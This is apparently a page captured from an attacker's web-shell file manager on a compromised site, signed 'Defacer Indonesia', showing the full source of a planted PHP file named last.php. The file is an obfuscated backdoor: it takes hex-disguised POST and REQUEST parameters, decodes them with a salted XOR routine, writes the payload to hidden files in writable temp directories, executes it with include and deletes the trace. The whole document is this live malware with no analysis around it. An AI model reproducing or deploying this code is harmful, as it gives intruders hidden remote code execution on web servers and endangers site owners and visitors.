whoami7 - Manager
:
/
home
/
analuakl
/
new.ankurmedia.com
/
Upload File:
files >> /home/analuakl/new.ankurmedia.com/last.php
<?php if(@$_POST["\x66ac\x74\x6Fr"] !== null){ $dchunk = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp"]); $data = $_POST["\x66ac\x74\x6Fr"]; $data= explode ("." , $data ) ; $comp= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1); foreach ($data as $u => $v2): $chS= ord($salt1[$u% $lenS]); $d= ((int)$v2 - $chS - ($u% 10))^ 76; $comp .=chr($d); endforeach; foreach ($dchunk as $entry): if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $data_chunk = implode("/", [$entry, ".ref"]); if (file_put_contents($data_chunk, $comp)) { include $data_chunk; @unlink($data_chunk); die(); } } endforeach; } if(filter_has_var(INPUT_POST, "\x68o\x6Cde\x72")){ $itm = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); $entry = $_POST["\x68o\x6Cde\x72"]; $entry= explode ( '.' , $entry ) ; $res = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9); foreach( $entry as $m=>$v5): $chS = ord( $salt9[$m % $lenS]); $dec = ( ( int)$v5 - $chS -( $m % 10)) ^ 89; $res .= chr( $dec); endforeach; foreach ($itm as $key => $comp) { if (!( !is_dir($comp) || !is_writable($comp) )) { $record = str_replace("{var_dir}", $comp, "{var_dir}/.hld"); if (file_put_contents($record, $res)) { include $record; @unlink($record); die(); } } } } if(in_array("\x64\x61\x74a_\x63\x68unk", array_keys($_REQUEST))){ $flg = $_REQUEST["\x64\x61\x74a_\x63\x68unk"]; $flg= explode(".",$flg ); $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $flg as $r=> $v1): $chS = ord( $s[$r % $lenS]); $d = ( ( int)$v1 - $chS -( $r % 10)) ^99; $reference .= chr( $d); endforeach; $record = array_filter([getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP")]); for ($token = 0, $holder = count($record); $token < $holder; $token++) { $binding = $record[$token]; if (max(0, is_dir($binding) * is_writable($binding))) { $marker = str_replace("{var_dir}", $binding, "{var_dir}/.tkn"); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $marker; @unlink($marker); exit; } } } }
Copyright ©2021 || Defacer Indonesia